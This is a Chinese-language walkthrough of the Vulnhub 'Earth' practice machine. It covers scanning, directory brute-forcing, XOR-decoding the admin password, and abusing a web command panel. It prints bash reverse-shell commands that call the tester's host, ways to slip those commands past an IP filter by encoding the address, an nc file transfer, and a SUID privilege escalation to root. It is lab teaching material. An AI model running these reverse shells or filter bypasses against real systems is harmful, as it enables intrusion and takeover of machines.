草庐IT

Vulnhub-earth

zinc 2023-03-28 原文

1.信息收集

1.1找到目标主机ip

vulnhub靶场通用的技巧 这里我们靶场是nat模式的 所以肯定就是在我们自己设置的一个网段范围内,我这里nat本机的地址是10.1.1.1

所处的网段就是10.1.1.0了

所以我们直接上工具扫 可以nmap 10.1.1.0/24

不过速度较慢 所以我们不推荐

这里可以用kali的 arp-scan (使用arp协议探测)

直接arp-scan l就行了

这里显然就是10.1.1.108

当然也可以用ping命令 或者goby等等 方法很多 根据情况来用

1.2nmap扫描目标

对目标主机进行全方位扫描

nmap -T4 -A 10.1.1.108

根据扫描信息我们可以知道

目标开启了 80/443/22端口

22端口ssh 是公私钥连接 所以无法爆破

利用ip分别访问80/443(https)端口


基本无果

这里先搁置,当然如果想继续的话可以指纹识别/后台爆破 这两种思路

仔细观察nmap扫描结果可以发现

有两条dns解析记录

在本地hosts文件中加入解析记录

vim /etc/hosts

然后分别访问 两个域名 (https)

逐一访问

这个看起来像个加密的东东

然后

1.3目录爆破

然后就是路径爆破,找找后台或者敏感信息泄露什么的

这里kali可以用自带的dirb

通过默认字典我们扫到了一些东西

对于admin后台 我们可以尝试暴力破解、SQL注入均无果

所以我们访问一下扫到的 robots.txt

自然的我们访问下最下面的这个文件

后缀名这里可以fuzz

最后测试出是txt文件

测试安全消息系统注意事项:
*使用XOR加密作为算法,在RSA中使用应该是安全的。
*地球已确认他们已收到我们发送的信息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将每月的密钥发送到地球? 或者我们应该每周更换钥匙?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长时间?
*需要改进消息界面和管理面板的界面,目前非常基础。

我的理解,总结一下就是y星人用xor加密传输数据,然后给了一个terra的管理账号 那肯定是要密码了,然后根据

刚开始有几条加密的数据 也就是异或后的数据 所以很自然我们选择用Previous Messages来对testdata.txt 进行xor运算 从而得到密钥

import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))

这个是网上的py脚本

这个脚本抄的 就不多解释了 然后快进到解出数据

  • 解出是16进制的数据
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
  • 转一下字符串

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

都是一些重复的password

所以得到了一个高权限用户:

username:terra
password:earthclimatechangebad4humans

2.漏洞利用

然后转入我们之前扫到的登录界面进行登录:

登录之后是一个命令执行,简单执行几个命令

  • 这里可以通过

    find / -name "*flag*"
    

寻找flag,然后发现会一个user的flag和一个root的flag ,而我们需要查看root的flag 所以就有了下面的提权内容

2.1反弹shell

  • 首先建立一个监听(这里端口设置为6666)
nc -lvvp 6666
  • linux下利用bash反弹 shell
bash -i >&/dev/tcp/10.1.1.20/6666 0>&1

这里反弹shell的时候碰到了过滤条件,根据网上大佬的解析说是过滤了ip(正则方式),当然如果我们黑盒的话也可以fuzz出来

这里我直接放出源码,在/var/earth_web/secure_message/forms.py里面

当然我们本次的实验web也都能在/var/earth_web下找到

所以这里绕过方式简单举例两种:

  • ip转int
bash -i >&/dev/tcp/167837972/6666 0>&1

  • 16进制绕过
bash -i >&/dev/tcp/0x0a.0x01.0x01.0x14/6666 0>&1
  • 一些其他思路:目标有python环境 绕过前端使用python的反弹shell

2.2提权

连接上shell

这里我们是apache用户 没有root权限 不能查看root目录下的flag

所以想办法提权

这里利用suid提权,首先查找具有root的s权限的命令

find / -perm -u=s -type f 2>/dev/null

没有网上已知的容易提权的命令 但是观察发现有一个reset_root命令,运行尝试一下

  • ps:可以用strings命令查看一下/usr/bin/reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

所以是运行的时候出错了?让我们debug一下?

利用nc把文件传到本地(因为我们要用strace命令调试,靶机中没有)

  • 本地监听并且接收文件
nc -lvvp  1234>/tmp/reset_root_test
  • 靶机发送文件
nc 10.1.1.20 1234</usr/bin/reset_root

然后本地打开调试,如果权限不够的话简单粗暴给个权限

chmod 777 /tmp/reset_root_test

简单调试命令执行过后发现是由于没有这三个文件夹然后报的错,简单在靶机中find后没发现,所以尝试在靶机中建立相应的文件

这里我选择了创建文件夹 理论上说创建文件也是可以的,然后再执行reset_root就发现重置了密码Earth

  • 切换为root

  • su root
    

  • 查看目录,得到flag
ls -al /root
cat /root/root_flag.txt

有关Vulnhub-earth的更多相关文章

  1. javascript - 导出 Google Earth Engine 图像集合中的所有图像 (Google Earth Engine API) - 2

    我需要为我的论文下载一堆Landsat图像。我的问题看起来很简单,但我对JavaScript一无所知,文档也没有提供足够的帮助。我已将集合过滤到我的区域和时间段,我想将所有图像分别导出到云端硬盘。集合示例:varsurfaceReflectanceL5=ee.ImageCollection('LANDSAT/LT5_SR');vardateSR5=surfaceReflectanceL5.filterDate('1984-01-01','1985-01-01');varprSR5=dateSR5.filter(ee.Filter.eq('wrs_path',182)).filter(e

  2. Vulnhub之Gain Power靶机详细测试过程 - 2

    GainPower识别目标主机IP地址(kali㉿kali)-[~/Vulnhub/Gainpower]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|ScreenView:UniqueHosts3CapturedARPReq/Reppackets,from3hosts.Totalsize:180_____________________________________________________________________________IPAtMACAddressCountLenM

  3. javascript - 通过 COM 从 MATLAB 向 Google Earth 插件提供数据 - 2

    我目前正在使用MATLAB/Simulink和GoogleEarth进行飞行模拟项目。我想做的是让MATLAB/Simulink进行所有计算和模拟,并让GoogleEarth实时显示结果。为了连接这两个程序,我使用COM接口(interface),而MATLAB/Simulink作为COM客户端,InternetExplorer作为COM服务器。在此之前,我一直在使用GoogleEarthCOMAPI而不是GoogleEarthAPI(javascript之一)。但是,某些功能在COMAPI中不可用或受限(例如:俯仰、滚动)。因此,我求助于Google地球插件。这是示例,Web应用程序

  4. Google Earth Engine(GEE)——快速建立一个10km的格网 - 2

    本文的主要目的是如何快速实现区域的一个网格的建立,主要过程是获取影像的经纬度,然后分别获取经纬度乘以一个数然后转化为整型,并将长宽相乘转化为一个矢量,然后对每一个歌王进行边界的坐标的获取与,最后返回一个多边形geometry,最后还要建立一个可以画图的工具 Map.drawingTools(),将设定好的工具进行遍历,然后添加图层,最后形成一个展示。主要的函数有一下内容:ee.Image.pixelLonLat()创建一个有两个带子的图像,名为"经度"和"纬度",包含每个像素的经度和纬度,单位是度。没有参数。返回。图像这个函数的主要目的就是获取影像的经纬度信息然后返回值中包含精度和纬度波段。M

  5. Vulnhub之Gears of War靶机详细测试过程 - 2

    GearofWar识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Gearofwar]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:Finished!|ScreenView:UniqueHosts3CapturedARPReq/Reppackets,from3hosts.Totalsize:180_____________________________________________________________________________IPAtMACAddressCountLenMACVen

  6. VulnHub靶机-Jangow: 1.0.1 - 2

    NO.1VulnHub靶机-Jangow:1.0.1迟到的文章,就当库存发出来吧~byAnQtroops2022.9.100x00靶机信息1、下载地址:https://www.vulnhub.com/entry/jangow-101,754/2、难度:简单3、上架时间:2021年11月4日4、提示信息:Thesecrettothisboxisenumeration!Inquiriesjangow2021@gmail.com5、实验环境攻击机VMware、靶机ViralBox攻击机和靶机必须保证网络连通性!0x01信息收集靶机IP探测1、我们打开靶机之后能看到靶机的IP地址2、我们也可以用kal

  7. javascript - 将 Google Earth Engine 应用程序嵌入到网页中 - 2

    有没有一种更简单的方法可以将Google地球引擎(javascript)应用程序嵌入到网页中,而无需遵循GoogleEEdemoapps提供的折磨路线??EarthEngineCode环境使得开发核心GEE应用程序变得快速而快速。但是,将GEE应用程序嵌入网页所花费的时间是编写GEE应用程序所花费时间的10倍。所有演示应用程序似乎都需要(a)使用GoogleAppEngine,(b)用Python重新编码GEE应用程序,(c)使用jinja2模板引擎将python代码链接到网页,以及(d)仍然有一些挥之不去的javascript。例如,在TrendyLightsdemo,服务器端脚本程

  8. Google Earth Engine ——Landsat 7 影像集合数据集详细介绍 - 2

    Landsat7¶Landsat7 collection.SurfaceReflectance¶USGSLandsat7SurfaceReflectanceTier1USGSLandsat7SurfaceReflectanceTier2TopofAtmosphere(TOA)¶USGSLandsat7Collection1Tier1TOAReflectanceUSGSLandsat7Collection1Tier1andReal-TimedataTOAReflectanceUSGSLandsat7Collection1Tier2TOAReflectanceRawImages¶USGSLands

  9. Google Earth Engine(GEE)——GEE最全介绍(7000字长文)初学者福音! - 2

    地球引擎代码编辑器code.earthengine.google.com上的地球引擎(EE)代码编辑器 是用于地球引擎JavaScriptAPI的基于网络的IDE。代码编辑器功能旨在快速轻松地开发复杂的地理空间工作流程。代码编辑器具有以下元素(如图1所示):JavaScript代码编辑器用于可视化地理空间数据集的地图显示API参考文档(文档选项卡)基于Git的脚本管理器(脚本选项卡)控制台输出(控制台选项卡)任务管理器(任务选项卡)处理长时间运行的查询交互式地图查询(检查器选项卡)搜索数据存档或保存的脚本几何绘图工具 地球引擎代码编辑器的组件图代码编辑器具有多种功能,可帮助您利用EarthEn

  10. Vulnhub之GreenOptics靶机详细测试过程 - 2

    GreenOptics识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/GreenOptic]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:Finished!|ScreenView:UniqueHosts3CapturedARPReq/Reppackets,from3hosts.Totalsize:180_____________________________________________________________________________IPAtMACAddressCountLenMAC

随机推荐